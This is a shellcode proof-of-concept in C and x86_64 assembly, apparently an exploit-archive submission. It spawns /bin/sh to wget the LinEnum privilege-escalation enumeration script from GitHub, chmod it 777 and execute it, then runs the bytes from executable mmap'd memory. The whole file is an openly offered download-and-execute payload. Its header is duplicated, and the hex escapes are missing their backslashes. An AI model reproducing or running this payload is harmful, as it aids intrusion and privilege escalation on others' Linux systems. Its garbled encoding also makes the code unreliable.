/*
LinEnum (Linux Enumeration) Wget & CHMOD & Run Shellcode Language C & ASM - Linux/x86_64

author : Kagan Capar
contact: kagancapar@gmail.com
shellcode /*
LinEnum (Linux Enumeration) Wget & CHMOD & Run Shellcode Language C & ASM - Linux/x86_64

author : Kagan Capar
contact: kagancapar@gmail.com
shellcode len : 155 bytes
compilation: gcc -o shellcode shellcode.c

test:
run ./shellcode

description: First, the linenum script is via github with wget command. After change mod 777 and run!

assembly:

_start:
push 0x3b {var_8} {"content.com/rebootuser/LinEnum/m…"}
pop rax {var_8} {0x3b, "content.com/rebootuser/LinEnum/m…"}
cdq {0x3b, "content.com/rebootuser/LinEnum/m…"} {0x0} {0x3b, "content.com/rebootuser/LinEnum/m…"}
mov rbx, 0x68732f6e69622f
push rbx {var_8} {0x68732f6e69622f}
mov rdi, rsp {var_8}
push 0x632d {var_10}
mov rsi, rsp {var_10}
push rdx {var_18} {0x0}
call sub_94 {sub_20, "wget https://raw.githubuserconte…"} { Falls through into sub_20 }

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char library[] =
"x6ax3bx58x99x48xbbx2fx62x69x6ex2fx73x68x00x53"
"x48x89xe7x68x2dx63x00x00x48x89xe6x52xe8x74x00"
"x00x00x77x67x65x74x20x68x74x74x70x73x3ax2fx2f"
"x72x61x77x2ex67x69x74x68x75x62x75x73x65x72x63"
"x6fx6ex74x65x6ex74x2ex63x6fx6dx2fx72x65x62x6f"
"x6fx74x75x73x65x72x2fx4cx69x6ex45x6ex75x6dx2f"
"x6dx61x73x74x65x72x2fx4cx69x6ex45x6ex75x6dx2e"
"x73x68x20x26x26x20x63x68x6dx6fx64x20x37x37x37"
"x20x4cx69x6ex45x6ex75x6dx2ex73x68x20x26x26x20"
"x2ex2fx4cx69x6ex45x6ex75x6dx2ex73x68x00x56x57"
"x48x89xe6x0fx05";

int main(int argc, char **argv) {
printf("library Length: %zd Bytes ", strlen(library));

void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}

memcpy(ptr, library, sizeof(library));
sc = ptr;

sc();

return 0;
}